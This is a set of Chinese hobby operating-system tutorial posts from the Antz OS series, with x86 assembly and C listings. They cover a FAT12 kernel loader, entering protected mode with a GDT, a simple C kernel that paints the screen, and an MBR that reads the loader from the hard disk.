"fat12hdr.inc" 12 13 14 LABEL_START: 15 mov ax, cs 16 mov ds, ax 17 mov es, ax 18 mov ss, ax 19 mov sp, BaseOfStack 20 21 mov dh, 0 22 call DispStr 23 24 25 mov word [wSectorNo], SectorNoOfRootDirectory 26 xor ah, ah 27 xor dl, dl 28 int 13h 29 LABEL_SEARCH_IN_ROOT_DIR_BEGIN: 30 cmp word [wRootDirSizeForLoop], 0 31 jz LABEL_NO_KERNELBIN 32 dec word [wRootDirSizeForLoop] 33 mov ax, BaseOfKernelFile 34 mov es, ax 35 mov bx, OffsetOfKernelFile 36 37 mov ax, [wSectorNo] 38 mov cl, 1 39 call ReadSector 40 41 mov si, KernelFileName 42 mov di, OffsetOfKernelFile 43 cld 44 mov dx, 10h 45 LABEL_SEARCH_FOR_KERNELBIN: 46 cmp dx, 0 47 jz LABEL_GOTO_NEXT_SECTOR_IN_ROOT_DIR 48 dec dx 49 mov cx, 11 50 LABEL_CMP_FILENAME: 51 cmp cx, 0 52 jz LABEL_FILENAME_FOUND 53 dec cx 54 lodsb 55 cmp al, byte [es:di] 56 jz LABEL_GO_ON 57 jmp LABEL_DIFFERENT 58 LABEL_GO_ON: 59 inc di 60 jmp LABEL_CMP_FILENAME 61 62 LABEL_DIFFERENT: 63 and di, 0FFE0h 64 add di, 20h 65 mov si, KernelFileName 66 jmp LABEL_SEARCH_FOR_KERNELBIN 67 68 LABEL_GOTO_NEXT_SECTOR_IN_ROOT_DIR: 69 add word [wSectorNo], 1 70 jmp LABEL_SEARCH_IN_ROOT_DIR_BEGIN 71 72 LABEL_NO_KERNELBIN: 73 mov dh, 2 74 call DispStr 75 %ifdef _LOADER_DEBUG_ 76 mov ax, 4c00h 77 int 21h 78 %else 79 jmp $ 80 %endif 81 82 LABEL_FILENAME_FOUND: 83 mov ax, RootDirSectors 84 and di, 0FFF0h 85 86 push eax 87 mov eax, [es : di + 01Ch] 88 mov dword [dwKernelSize], eax 89 pop eax 90 91 add di, 01Ah 92 mov cx, word [es:di] 93 push cx 94 add cx, ax 95 add cx, DeltaSectorNo 96 mov ax, BaseOfKernelFile 97 mov es, ax 98 mov bx, OffsetOfKernelFile 99 mov ax, cx 100 101 LABEL_GOON_LOADING_FILE: 102 push ax 103 push bx 104 mov ah, 0Eh 105 mov al, '.' 106 mov bl, 0Fh 107 int 10h 108 pop bx 109 pop ax 110 111 mov cl, 1 112 call ReadSector 113 pop ax 114 call GetFATEntry 115 cmp ax, 0FFFh 116 jz LABEL_FILE_LOADED 117 push ax 118 mov dx, RootDirSectors 119 add ax, dx 120 add ax, DeltaSectorNo 121 add bx, [BPB_BytsPerSec] 122 jmp LABEL_GOON_LOADING_FILE 123 LABEL_FILE_LOADED: 124 125 call KillMotor 126 127 mov dh, 1 128 call DispStr 129 130 jmp $ 131 132 133 134 wRootDirSizeForLoop dw RootDirSectors 135 wSectorNo dw 0 136 bOdd db 0 137 dwKernelSize dd 0 138 139 140 KernelFileName db "KERNEL BIN", 0 141 MessageLength equ 9 142 LoadMessage: db "Loading " 143 Message1 db "Ready. " 144 Message2 db "No KERNEL" 145 146 DispStr: 147 mov ax, MessageLength 148 mul dh 149 add ax, LoadMessage 150 mov bp, ax 151 mov ax, ds 152 mov es, ax 153 mov cx, MessageLength 154 mov ax, 01301h 155 mov bx, 0007h 156 mov dl, 0 157 add dh, 3 158 int 10h 159 ret 160 161 ReadSector: 162 163 push bp 164 mov bp, sp 165 sub esp, 2 166 167 mov byte [bp-2], cl 168 push bx 169 mov bl, [BPB_SecPerTrk] 170 div bl 171 inc ah 172 mov cl, ah 173 mov dh, al 174 shr al, 1 175 mov ch, al 176 and dh, 1 177 pop bx 178 179 mov dl, [BS_DrvNum] 180 .GoOnReading: 181 mov ah, 2 182 mov al, byte [bp-2] 183 int 13h 184 jc .GoOnReading 185 186 add esp, 2 187 pop bp 188 189 ret 190 191 GetFATEntry: 192 push es 193 push bx 194 push ax 195 mov ax, BaseOfKernelFile 196 sub ax, 0100h 197 mov es, ax 198 pop ax 199 mov byte [bOdd], 0 200 mov bx, 3 201 mul bx 202 mov bx, 2 203 div bx 204 cmp dx, 0 205 jz LABEL_EVEN 206 mov byte [bOdd], 1 207 LABEL_EVEN: 208 xor dx, dx 209 mov bx, [BPB_BytsPerSec] 210 div bx 211 212 push dx 213 mov bx, 0 214 add ax, SectorNoOfFAT1 215 mov cl, 2 216 call ReadSector 217 pop dx 218 add bx, dx 219 mov ax, [es:bx] 220 cmp byte [bOdd], 1 221 jnz LABEL_EVEN_2 222 shr ax, 4 223 LABEL_EVEN_2: 224 and ax, 0FFFh 225 226 LABEL_GET_FAT_ENRY_OK: 227 228 pop bx 229 pop es 230 ret 231 232 KillMotor: 233 push dx 234 mov dx, 03F2h 235 mov al, 0 236 out dx, al 237 pop dx 238 ret 加载功能已经有了,但是还没有内核给以上程序拿来加载。 我们来实现一个最简单的内核,以后会基于此扩展。 kernel.asm : 此处的K不会打印,因为这里只是假设gs指向了显存。 1 [section .text] 2 3 global _start 4 5 _start: 6 mov ah, 0Fh ; 0000: 黑底 1111: 白字 7 mov al, 'K' 8 mov [gs:((80 * 1 + 39) * 2)], ax ; 屏幕第 1 行, 第 39 列。 9 jmp $ 出现了Ready,说明我们的kernel内核已经加载成功了。
Antz系统更新地址: https://www.cnblogs.com/LexMoon/category/1262287.html Linux内核源码分析地址:https://www.cnblogs.com/LexMoon/category/1267413.html Github地址:https://github.com/CasterWx 在前几天的任务中,我们已经简单实现了MBR,直接操作显示器和硬盘操作来加载其他扇区的程序,如今已经可以进入保护模式了,之前一直使用的是汇编语言,接下来要使用c语言实现内核了。 0. GCC前提 gcc -c -o main.o main.c -c的作用是编译,汇编到目标代码,不进行链接,也就是直接生成目标文件。 -o的作用是将输出的文件以指定文件名来存储,有同名文件会直接覆盖。 如果你不会使用GCC,请先去略作了解。 这行命令会生成一个main.o文件。它只是一个目标文件,也是待重定位文件,重定位是指文件里面所用的符号还没有安排地址,这些符号的地址要与其他目标文件组成一个可执行文件时再重新定位(排地址),符号是指该目标文件中所调用的函数或使用的变量,这里的组成就是指链接。 main.o是可重定位文件,ld命令可以链接,指定最终生成文件的起始虚拟地址。 ld main.o -Ttext 0xc0001500 -e main -o main.bin -Ttext指定了起始虚拟地址是0xc0001500,这个地址是内核加载需要的,-o是指定输出文件,-e是指定了程序起始地址。 1. 引入C语言 内核,是一个操作系统的核心。是基于硬件的第一层软件扩充,提供操作系统的最基本的功能,是操作系统工作的基础,它负责管理系统的进程、内存、设备驱动程序、文件和网络系统,决定着系统的性能和稳定性。 现代操作系统设计中,为减少系统本身的开销,往往将一些与硬件紧密相关的(如中断处理程序、设备驱动程序等)、基本的、公共的、运行频率较高的模块(如时钟管理、进程调度等)以及关键性数据结构独立开来,使之常驻内存,并对他们进行保护。通常把这一部分称之为操作系统的内核。 程序可以直接地被调入计算机中执行,这样的设计说明了设计者不希望提供任何硬件抽象和操作系统的支持,它常见于早期计算机系统的设计中。最终,一些辅助性程序,例如程序加载器和调试器,被设计到机器核心当中,或者固化在只读存储器里。这些变化发生时,操作系统内核的概念就渐渐明晰起来了。 antz_os.asm : 1 ; antz_os 2 3 4 BOTPAK EQU 0x00280000 5 DSKCAC EQU 0x00100000 6 DSKCAC0 EQU 0x00008000 7 8 9 CYLS EQU 0x0ff0 10 LEDS EQU 0x0ff1 11 VMODE EQU 0x0ff2 12 SCRNX EQU 0x0ff4 13 SCRNY EQU 0x0ff6 14 VRAM EQU 0x0ff8 15 16 ORG 0xc200 17 18 19 20 MOV AL,0x13 21 MOV AH,0x00 22 INT 0x10 23 MOV BYTE [VMODE],8 24 MOV WORD [SCRNX],320 25 MOV WORD [SCRNY],200 26 MOV DWORD [VRAM],0x000a0000 27 28 29 30 MOV AH,0x02 31 INT 0x16 ; keyboard BIOS 32 MOV [LEDS],AL 33 34 35 36 37 38 39 MOV AL,0xff 40 OUT 0x21,AL 41 NOP 42 OUT 0xa1,AL 43 44 CLI 45 46 47 48 CALL waitkbdout 49 MOV AL,0xd1 50 OUT 0x64,AL 51 CALL waitkbdout 52 MOV AL,0xdf ; enable A20 53 OUT 0x60,AL 54 CALL waitkbdout 55 56 ; 保护模式转换 57 58 [INSTRSET "i486p"] 59 60 LGDT [GDTR0] 61 MOV EAX,CR0 62 AND EAX,0x7fffffff 63 OR EAX,0x00000001 64 MOV CR0,EAX 65 JMP pipelineflush 66 67 MOV AX,1*8 68 MOV DS,AX 69 MOV ES,AX 70 MOV FS,AX 71 MOV GS,AX 72 MOV SS,AX 73 74 75 76 MOV ESI,bootpack ; 源 77 MOV EDI,BOTPAK ; 目标 78 MOV ECX,512*1024/4 79 CALL memcpy 80 81 82 83 84 85 MOV ESI,0x7c00 ; 源 86 MOV EDI,DSKCAC ; 目标 87 MOV ECX,512/4 88 CALL memcpy 89 90 91 92 MOV ESI,DSKCAC0+512 ; 源 93 MOV EDI,DSKCAC+512 ; 目标 94 MOV ECX,0 95 MOV CL,BYTE [CYLS] 96 IMUL ECX,512*18*2/4 97 SUB ECX,512/4 98 CALL memcpy 99 100 101 102 103 104 105 MOV EBX,BOTPAK 106 MOV ECX,[EBX+16] 107 ADD ECX,3 108 SHR ECX,2 109 JZ skip 110 MOV ESI,[EBX+20] 111 ADD ESI,EBX 112 MOV EDI,[EBX+12] 113 CALL memcpy 114 skip: 115 MOV ESP,[EBX+12] 116 JMP DWORD 2*8:0x0000001b 117 118 waitkbdout: 119 IN AL,0x64 120 AND AL,0x02 121 JNZ waitkbdout 122 RET 123 124 memcpy: 125 MOV EAX,[ESI] 126 ADD ESI,4 127 MOV [EDI],EAX 128 ADD EDI,4 129 SUB ECX,1 130 JNZ memcpy 131 RET 132 133 134 ALIGNB 16 135 GDT0: 136 RESB 8 137 DW 0xffff,0x0000,0x9200,0x00cf 138 DW 0xffff,0x0000,0x9a28,0x0047 139 DW 0 140 GDTR0: 141 DW 8*3-1 142 DD GDT0 143 144 ALIGNB 16 145 bootpack: bootpack.c: 1 void io_hlt(void); 2 void write_mem8(int addr,int data); 3 4 void HariMain(void) 5 { 6 int i ; 7 for(i=0xa0000;i<0xaffff;i++){ 8 write_mem8(i,15); 9 } 10 for(;;){ 11 io_hlt(); 12 } 13 } func.asm: 1 [FORMAT "WCOFF"] 2 [BITS 32] 3 [INSTRSET "i486p"] 4 5 [FILE "naskfunc.nas"] 6 7 GLOBAL _io_hlt 8 9 [SECTION .text] 10 11 _io_hlt: ; void io_hlt(void); 12 HLT 13 RET 14 15 _write_mem8: 16 MOV ECX,[ESP+4] 17 MOV AL,[ESP+8] 18 MOV [ECX],AL 19 RET 在func.asm中声明了bootpack.c中调用的函数,用于绘制屏幕,如果你还不了解怎么绘制屏幕,可以看看第三天的直接操作显卡部分。 生成的img打开在虚拟机之后。 看到这里你可能会发现,我们在c语言中定义的函数完成了屏幕绘制,在HariMain函数中的for循环将整个屏幕完成了绘制。write_mem8函数的两个参数分别控制了位置和颜色,这是图形化的一大步。 随意修改一下参数之后,屏幕显示就是不一样的颜色了,至于怎么改,可以在for循环里面自行修改了。 关于内核的知识便不再向之前一样详细概况了,推荐一本书,《Linux内核完全剖析》。
Antz系统更新地址: https://www.cnblogs.com/LexMoon/category/1262287.html Linux内核源码分析地址:https://www.cnblogs.com/LexMoon/category/1267413.html Github地址:https://github.com/CasterWx 在前几天的任务中,我们已经简单实现了MBR,直接操作显示器和硬盘操作来加载其他扇区的程序,我们这些任务都是为了进入保护模式做准备,虽然我们已经给出了jmp到保护模式的方法,但是我们还是需要理解保护模式下的一些特性,才能更好的实现我们操作系统的功能。 0 .为什么要有保护模式 以下是实模式的不足。 1)操作系统和用户程序属于同一特权级。 2)用户程序所引用的地址都是指向真实的物理地址,也就是说逻辑地址等于物理地址。 3)用户程序可以自由修改段基址,可以访问任意内存。 4)访问超过64KB的内存区域时要切换段基址。 5)一次只能运行一个程序,无法充分利用计算机资源。 6)共20跟地址线,最大可用内存为1MB。 1~3是安全缺陷,4~5是使用方面的缺陷,第6条简直就是不能忍受的硬伤,1MB内存真的太束缚手脚了。 后来为了解决这些问题,厂商开发处保护模式。这时,物理内存地址不能被程序直接访问,程序内部的地址(虚拟地址)需要被转换为物理地址后再去访问,程序对此一无所知。而且地址的转换时由处理器和操作系统共同协作完成的,处理器在硬件上提供地址转换部件,操作系统提供转换过程需要的页表。 1 .保护模式的寄存器扩展 计算机的发展必须遵守兼容的特点,CPU发展到32位之后,地址总线和数据总线也发展到了32位,寻址空间更是达到了4GB。寻址空间大了,但寻址方式还是得兼容老方法,就是“段基址:偏移地址”,如果还是16位的话,不能承受4GB寻址的重任,所以寄存器也得跟上。为了让一个寄存器就可以寻址4GB空间,寄存器扩展到了32位。除了段寄存器,其他寄存器均扩展到了32位,因为段寄存器16位就够用了。 寄存器的低16位都是为了兼容模式,高16位无法单独使用,只能在用32位寄存器时才可以用到。 偏移地址还是和实模式下一样,但段基址为了安全,在其内添加了约束信息,这些约束信息就是内存段的描述信息,由于这些信息在寄存器中放不下,所以用了一个专门的数据结构——全局描述符表。其中有表项,用来描述各个内存段的起始地址,大小,权限等信息,每个表项大小是64字节,因为全局描述符表很大,只能放在内存中,由寄存器指向它。 至此,段寄存器中再也不是段基址了,里面保存的叫做选择子(selector) ,它是一个数,用来索引全局描述符表中的段描述符,把全局描述符表当作数组,选择子就像是下标。 段描述符是放在内存中的,访问内存对于CPU而言效率不高,而且段描述符的格式很奇怪,一个数据要分三个地方存,所以CPU把这些数组合并成一个完整数据也是需要花时间的。既然如此花费时间,在保护模式中,CPU为了提高效率,采取了对段寄存器的缓存技术,将段信息用一个寄存器来存储,这就是段描述符缓冲寄存器(对程序员不可见)。在获得一个段描述符之后,以后访问相同段时,会直接访问该寄存器。 下面是三种段描述符寄存器的结构: 2 .保护模式的运行模式反转 保护模式如何分辨16位和32位指令和操作数呢? 汇编产生的机器码机器并不能识别是运行在16位还是32位系统下,在编译时可以通过[bits 16]和[bits 32]来确定编译器将代码编译为多少位的机器码。 [bis]是伪指令,编译并无具体机器码,那么在编译之后机器如何识别呢? 这里引入前缀,在指令前加入前缀指令重复前缀rep,段跨越前缀"段寄存器",还有操作数反转前缀0x66,寻址方式反转前缀0x67。 行号 指令 机器码 1 [bits 16] 伪指令 2 mov ax,0x1234 B83412 3 mov eax,0x1234 66B834120000 4 [bits 32] 伪指令 5 mov ax,0x1234 66B83412 6 mov eax,0x1234 B834120000 如果32位的代码被编译为16位的代码就会在机器码前加入前缀。即一种模式下要用另一中模式的操作数大小,需要在指令前加入指令前缀0x66。 以上是操作数大小的改变时的前缀,如果是寻址方式改变,则添加前缀0x67。 3 .全局描述符表概述 上面我们已经提到过全局描述符表了,它可以当作一个数组,而段描述符就是这个数组的下标。其结构如下: 段描述符是8字节的,专门用来描述一个内存段,8字节也就是64位,而且是连续的8个字节。 保护模式下地址总线是32位,段基址需要32位地址表示,段界限用20位表示,不过这个段界限只是个单位量,它的单位要么是字节,要么是4KB,这是感觉描述符的G位来确定的。最终段的边界是此段界限值*单位,故段的大小要么是2的20次方1MB要么是2的32次方(4KB==2的12次方)4GB。 这里说的1MB和4GB只是个范围,并不是具体的边界值。由于段界限只是个偏移量,是从0开始算,所以实际的段界限边界值等于(描述符中段界限+1)*(段界限的粒度大小:4KB或1) -1 。 这个公式的意思就是表示有多少个4KB或1 。由于描述符中的段界限是从0起的,所以左边第1个括号中要加个1,表示实际数量,由于地址是从0开始的,所以最后减1 。 内存访问需要用到“段基址:偏移地址”,段界限其实就是用来限制段内偏移地址的,段内偏移地址必须位于段内,否则CPU会抛异常,“段界限*单位”就是限定偏移地址的最值的。 仔细观察上面段描述符,你会发现段界限属性被分为了两部分,32位的段基址属性居然被分为了三份,这是为了兼容性考虑的。 段描述符的低32位分为了两部分,前16位来存储段的段界限的前0~15位,后16位存储段基址的0~15位。 主要属性都是在段描述符的高32位,0~7位是段基址的16~23位,24~31位是段基址的24~31位,加上段描述符的低32位的0~15位,这下32位的基地址才算完整。 8~11位的type属性,四位,用来指定本描述符的类型。一个段描述符在CPU眼中分为两类,要么是系统段,要么是数据段。这是感觉段描述符的S位决定的,它用来指示是否是系统段,CPU眼中,硬件运行需要的都是系统,软件需要的都是数据,S是0表示系统段,S是1是数据段。type字段是和S字段配合才能确定段描述符的确切类型,至有S确定了,type才有具体意义。 再来看type字段,它用于表示内存段或门的子类型。 这是type在S确定之后的意义,我们需要注意的是非系统段。 段描述符的第13~14位就是DPL字段,即描述符特权符,这是保护模式提供的安全解决方案,将计算机世界分为不同等级。这两位可以代表四种特权级,分别是0~4,数字越小特权越大。 段描述符的第15位的P字段,即段是否存在,如果段存在于内存中,P为1,否则P为0。P是由CPU检查的,如果为0,CPU将抛出异常。 段描述符的第16~19位是段界限的第16~19位。这样段界限就齐全了。 段描述符的第20位是AVL,这位是相对用户的,暂不用理会。 段描述符的第21位是L,是用来检查是否是64位代码段,在我们32位CPU时,将其置0即可。 段描述符的第22位是D/B字段,用来表示有效地址及操作数的大小。 段描述符的第23位是G,用来指定段界限的大小,粒度。 段描述符的第24~31位是段基址的24~31位,是段基址的最后8位。 4 .全局描述符表GDT及选择子 一个段描述符只能用来定义一个内存段,代码段要占用一个段描述符,数据段和栈段等,多个内存段也要各自占用一个段描述符,这些描述符会放在全局描述符表中,也就是GDT,GDT是公用的,它位于内存中,需要专门的寄存器指向。这个寄存器就是GDTR,一个48位寄存器。 gdtr不能直接用mov gdtr,xxxx的方式初始化,而是有专门的指令,就是lgdt。 lgdt指令格式是: lgdt 48位内存数据 这48位内存数据分为两部分,前16位是GDT以字节为单位的界限值,后32位是GDT的其实地址,由于GDT的大小是16位,所以范围是65536字节,每个描述符大小是8字节,所以一个GDT中有8192个段或门。 在保护模式下,原本存在段寄存器的段基址,现在放在了段描述符中,而段寄存器中放入的是选择子,就是一个索引,在描述符表中索引描述符的索引。 段寄存器是16位的,所以选择子也是16位的,在其低2位即0~1位,用来存储RPL,即请求特权级,可以表示四种特权。高13位,即3~15是索引部分,2的13次方是8192,故可以索引8192个段,正好吻合GDT的8192个段。 下图是描述符表和内存段的关系,还有选择子的结构: 5 .进入保护模式 1. 打开A20地址线 打开A20Gate的方式极其简单,只需要将0x92端口的第一个位置置1就好了。 1 in al,0x92 2 or al,0000_0010B 3 out 0x92,al 2.保护模式的开关,CR0寄存器的PE位 这是进入保护模式的最后一步,CR0寄存器的PE位置1。 PE为0表示在实模式下运行,PE为1表示在保护模式运行。 1 mov eax,cr0 2 or eax,0x00000001 3 mov cr0,eax 写入完毕,接下来可以让我们进入保护模式了! boot.inc : 1 ;------------- loader和kernel ---------- 2 3 LOADER_BASE_ADDR equ 0x900 4 LOADER_START_SECTOR equ 0x2 5 6 ;-------------- gdt描述符属性 ------------- 7 DESC_G_4K equ 1_00000000000000000000000b 8 DESC_D_32 equ 1_0000000000000000000000b 9 DESC_L equ 0_000000000000000000000b ; 64位代码标记,此处标记为0便可。 10 DESC_AVL equ 0_00000000000000000000b ; cpu不用此位,暂置为0 11 DESC_LIMIT_CODE2 equ 1111_0000000000000000b 12 DESC_LIMIT_DATA2 equ DESC_LIMIT_CODE2 13 DESC_LIMIT_VIDEO2 equ 0000_000000000000000b 14 DESC_P equ 1_000000000000000b 15 DESC_DPL_0 equ 00_0000000000000b 16 DESC_DPL_1 equ 01_0000000000000b 17 DESC_DPL_2 equ 10_0000000000000b 18 DESC_DPL_3 equ 11_0000000000000b 19 DESC_S_CODE equ 1_000000000000b 20 DESC_S_DATA equ DESC_S_CODE 21 DESC_S_sys equ 0_000000000000b 22 DESC_TYPE_CODE equ 1000_00000000b ;x=1,c=0,r=0,a=0 代码段是可执行的,非依从的,不可读的,已访问位a清0. 23 DESC_TYPE_DATA equ 0010_00000000b ;x=0,e=0,w=1,a=0 数据段是不可执行的,向上扩展的,可写的,已访问位a清0. 24 25 DESC_CODE_HIGH4 equ (0x00 << 24) + DESC_G_4K + DESC_D_32 + DESC_L + DESC_AVL + DESC_LIMIT_CODE2 + DESC_P + DESC_DPL_0 + DESC_S_CODE + DESC_TYPE_CODE + 0x00 26 DESC_DATA_HIGH4 equ (0x00 << 24) + DESC_G_4K + DESC_D_32 + DESC_L + DESC_AVL + DESC_LIMIT_DATA2 + DESC_P + DESC_DPL_0 + DESC_S_DATA + DESC_TYPE_DATA + 0x00 27 DESC_VIDEO_HIGH4 equ (0x00 << 24) + DESC_G_4K + DESC_D_32 + DESC_L + DESC_AVL + DESC_LIMIT_VIDEO2 + DESC_P + DESC_DPL_0 + DESC_S_DATA + DESC_TYPE_DATA + 0x0b 28 29 ;-------------- 选择子属性 --------------- 30 RPL0 equ 00b 31 RPL1 equ 01b 32 RPL2 equ 10b 33 RPL3 equ 11b 34 TI_GDT equ 000b 35 TI_LDT equ 100b loader.asm: 1 %include "boot.inc" 2 section loader vstart=LOADER_BASE_ADDR 3 LOADER_STACK_TOP equ LOADER_BASE_ADDR 4 jmp loader_start 5 GDT_BASE: dd 0x00000000 6 dd 0x00000000 7 8 CODE_DESC: dd 0x0000FFFF 9 dd DESC_CODE_HIGH4 10 11 DATA_STACK_DESC: dd 0x0000FFFF 12 dd DESC_DATA_HIGH4 13 14 VIDEO_DESC: dd 0x80000007 ;limit=(0xbffff-0xb8000)/4k=0x7 15 dd DESC_VIDEO_HIGH4 16 17 GDT_SIZE equ $ - GDT_BASE 18 GDT_LIMIT equ GDT_SIZE - 1 19 times 60 dq 0 20 SELECTOR_CODE equ (0x0001<<3) + TI_GDT + RPL0 21 SELECTOR_DATA equ (0x0002<<3) + TI_GDT + RPL0 22 SELECTOR_VIDEO equ (0x0003<<3) + TI_GDT + RPL0 23 24 gdt_ptr dw GDT_LIMIT 25 dd GDT_BASE 26 loadermsg db '2 loader in real.' 27 28 loader_start: 29 30 mov sp, LOADER_BASE_ADDR 31 mov bp, loadermsg 32 mov cx, 17 33 mov ax, 0x1301 34 mov bx, 0x001f 35 mov dx, 0x1800 36 int 0x10 37 38 in al,0x92 39 or al,0000_0010B 40 out 0x92,al 41 lgdt [gdt_ptr] 42 mov eax, cr0 43 or eax, 0x00000001 44 mov cr0, eax 45 46 ;jmp dword SELECTOR_CODE:p_mode_start 47 jmp SELECTOR_CODE:p_mode_start 48 49 [bits 32] 50 p_mode_start: 51 mov ax, SELECTOR_DATA 52 mov ds, ax 53 mov es, ax 54 mov ss, ax 55 mov esp,LOADER_STACK_TOP 56 mov ax, SELECTOR_VIDEO 57 mov gs, ax 58 59 mov byte [gs:160], 'P' 60 61 jmp $ Antz_mbr.asm: 1 %include "boot.inc" 2 SECTION MBR vstart=0x7c00 3 mov ax,cs 4 mov ds,ax 5 mov es,ax 6 mov ss,ax 7 mov fs,ax 8 mov sp,0x7c00 9 mov ax,0xb800 10 mov gs,ax 11 12 mov ax, 0600h 13 mov bx, 0700h 14 mov cx, 0 15 mov dx, 184fh 16 int 10h 17 18 mov byte [gs:0x00],'1' 19 mov byte [gs:0x01],0xA4 20 21 mov byte [gs:0x02],' ' 22 mov byte [gs:0x03],0xA4 23 24 mov byte [gs:0x04],'M' 25 mov byte [gs:0x05],0xA4 26 27 mov byte [gs:0x06],'B' 28 mov byte [gs:0x07],0xA4 29 30 mov byte [gs:0x08],'R' 31 mov byte [gs:0x09],0xA4 32 33 mov eax,LOADER_START_SECTOR 34 mov bx,LOADER_BASE_ADDR 35 mov cx,4 36 call rd_disk_m_16 37 38 jmp LOADER_BASE_ADDR 39 40 rd_disk_m_16: 41 42 mov esi,eax ;备份eax 43 mov di,cx 44 45 46 mov dx,0x1f2 47 mov al,cl 48 out dx,al 49 50 mov eax,esi 51 52 mov dx,0x1f3 53 out dx,al 54 55 56 mov cl,8 57 shr eax,cl 58 mov dx,0x1f4 59 out dx,al 60 61 shr eax,cl 62 mov dx,0x1f5 63 out dx,al 64 65 shr eax,cl 66 and al,0x0f 67 or al,0xe0 68 mov dx,0x1f6 69 out dx,al 70 71 mov dx,0x1f7 72 mov al,0x20 73 out dx,al 74 75 .not_ready: 76 nop 77 in al,dx 78 and al,0x88 79 cmp al,0x08 80 jnz .not_ready 81 82 mov ax, di 83 mov dx, 256 84 mul dx 85 mov cx, ax 86 87 mov dx, 0x1f0 88 .go_on_read: 89 in ax,dx 90 mov [bx],ax 91 add bx,2 92 loop .go_on_read 93 ret 94 95 times 510-($-$$) db 0 96 db 0x55,0xaa
Antz系统更新地址: https://www.cnblogs.com/LexMoon/category/1262287.html Linux内核源码分析地址:https://www.cnblogs.com/LexMoon/category/1267413.html Github地址:https://github.com/CasterWx 目前已经完成了MBR的雏形,并且直接操作显卡完成了屏幕的内容显示。接下来我们要改造之前的MBR,做一个大的改进,使MBR可以读取硬盘,因为我们的MBR受限制于512字节大小,在这么小的空间里没法为内核准备好环境,更不要说加载内核到内存中并运行了,所以我们需要在另一个程序中完成初始化环境与加载内核的任务,这个程序我们叫做loader。loader这个程序放在哪里呢?如何去执行呢?这就是这次MBR改进的任务了,我们需要从硬盘上去把loader加载到内存中,并把执行权的接力棒交给它。 在第一天讲过了,MBR是在硬盘的第0扇区,第一扇区是空闲的,但是离的太近总是感觉不安全,所以我们将loader放到第二扇区。MBR从第二扇区中把它都出来,然后放到哪里呢? 原则上空闲位置都是可以的。图中7E00~9FBFF和500~7BFF这两段可用区域都可以。随着功能的添加,内核必然会越来越大,所以我们尽量把loader放在低处,所以我选择为了0x500处。 说完了本次的基本任务和流程,接下来就是关键的问题了,如何操作硬盘? 0. 关于硬盘 关于硬盘的种类历史此处不做介绍。 如有兴趣可参考:硬盘 我们先来讲讲它的工作原理,如图是机械硬盘的示意图。 主轴上面有两个盘片,其实不止两个,这里只是示意性画了两个。盘片固定在主轴上随主轴高速转动,每个盘片分为上下两面,每个面都存储有数据,每个盘面都各有一个磁头来读取数据,故一个盘片对应两个磁头(注意盘片和盘面,不要看混)。由于盘面和磁头是一一对应的关系,故用磁头号来标识盘面号,磁头0对应盘面0,磁头1对应盘面1,从0开始计数,盘面0就是第一个盘面。磁头不会自己在盘片上移动,它需要被固定在磁头臂上,在磁头臂的带动下,沿着盘片的边缘向圆心的方向来回摆动,注意摆动的轨迹是个弧,并不是绝对径向地直来直去。一方面是因为磁头臂是步进电机驱动的,磁头臂一段时步进电机主轴,另一端的磁头,电机每次都会转动一个角度,所以带动磁头臂在“画圆”,而磁头位于磁头臂的另一端,所以也跟着呈钟摆运动,轨迹时弧线,并不是直线。另一方面,磁头读取数据也不需要做直来直去的运动,能否找到数据,只跟它最终落点有关,和中间路径形状无关,所以一方面盘面自转,另一方面磁头摆动,使得磁头可以盘面任意位置的数据。 说完了运动,在说存储逻辑,盘片表面时用于存储数据的磁性介质,为了更有效的管理磁盘,这些磁性介质也被“格式化”成易于管理的格局,即将盘面划分成了多个同心环,以同心环画扇形,扇形与每个同心环相交的弧状区域作为最基本的数据存储单元。这个同心环就称为磁道,而同心环上弧状的扇形部分就称为扇区,它作为我们硬盘存储数据的最基本单位,大小是512字节。我们写入数据最终是写入了扇形的扇区中。注意,磁道是一个环,不是线,线上可无法存储数据。磁头臂带动磁头在盘片上方移动,就是在找磁道的位置,盘片高速自转,就是在磁道内定位扇区。 磁道的编号和磁头的编号也是从0开始,相同编号的磁道组成的管状区域就称为柱面。柱面有什么用呢? 机械硬盘大的寻道时间是整个硬盘的瓶颈,为了减少寻道时间,就尽量在存储上下功夫。寻道,简而言之就是在磁头在磁道间跳转,跳转所需要的时间就是寻道时间。柱面就可以减少寻道的时间。至于原理,可以这样理解,当我们要存储的数据少于一个磁道的存储量时,我们可以直接存储在一个磁道里面,而不需要跳转到其他磁道(不需要寻道)。当要存储量大于一个磁道时,需要多次寻道,而寻道会浪费大量时间,如果我们使用柱面,存满一个磁道后,将剩下的数据存储在其他盘面的相同磁道号处,就可以避免寻道了,反过来,读取数据也是这样,以此,盘面越多,硬盘越快。 扇区的编号与磁道磁头不同,它是从1开始编号的,而且一个扇区只对当前磁道有效,所以各个磁道间的扇区编号都相同,至于一个磁道中的扇区数量多少与厂商有关,一般都是63个扇区。磁头如何找到所需的扇区呢? 每个扇区其实都是有自己的头部的,头部之后才是512字节的存储区,头部包含了扇区自身的信息,哪些信息可以唯一定位一个扇区呢? 当然是磁头号,磁道号和扇区号了。 1. 控制硬盘之前 之前在直接操作显存中说过,CPU不会直接与这些设备联系,而是与IO接口通信,再由IO接口向下传达信息,CPU与硬盘的联系就是通过硬盘控制器。 硬盘控制器与硬盘的关系就好像显卡与显示器。关于硬盘的接口,你可能听说过PATA和SATA,ATA是一种全球化的标准,PATA是并行ATA,SATA是后来的串行ATA。以前的主机一般至支持4个并行PATA,在串行SATA出现之后,支持几块硬盘完全取决于主板能力。 两种类型线缆完全不一样,PATA接口的线缆也称为IDE线,一个IDE线上可以挂两块硬盘,一个是主盘,一个是从盘。主盘从盘分工很明显,很多工作都要靠主盘来进行,比如系统就要装在主盘上。随着时代发展,兼容性的提升,主盘从盘已经没有了区别。之前说一个主板支持四块PATA硬盘,那么就是两个IDE线接口。这两个接口也是以0开始编号的,分别是IDE0,IDE1。不过按照ATA的说法,这两个插槽接口叫做通道,IDE0就是Primary通道,IDE1就是Secondary通道。SATA硬盘也是兼容PATA的编程接口。(这里不要把主盘从盘和通道弄混了)。 硬盘是一个很复杂的结构,我们暂时只需要知道一部分端口就可以了。 端口可以分为两组,Command Block registers和Control Block registers。 Command Block registers用于向硬盘启动器写入命令字或者从硬盘控制器获取硬盘状态,Control Block registers用于控制硬盘工作状态。 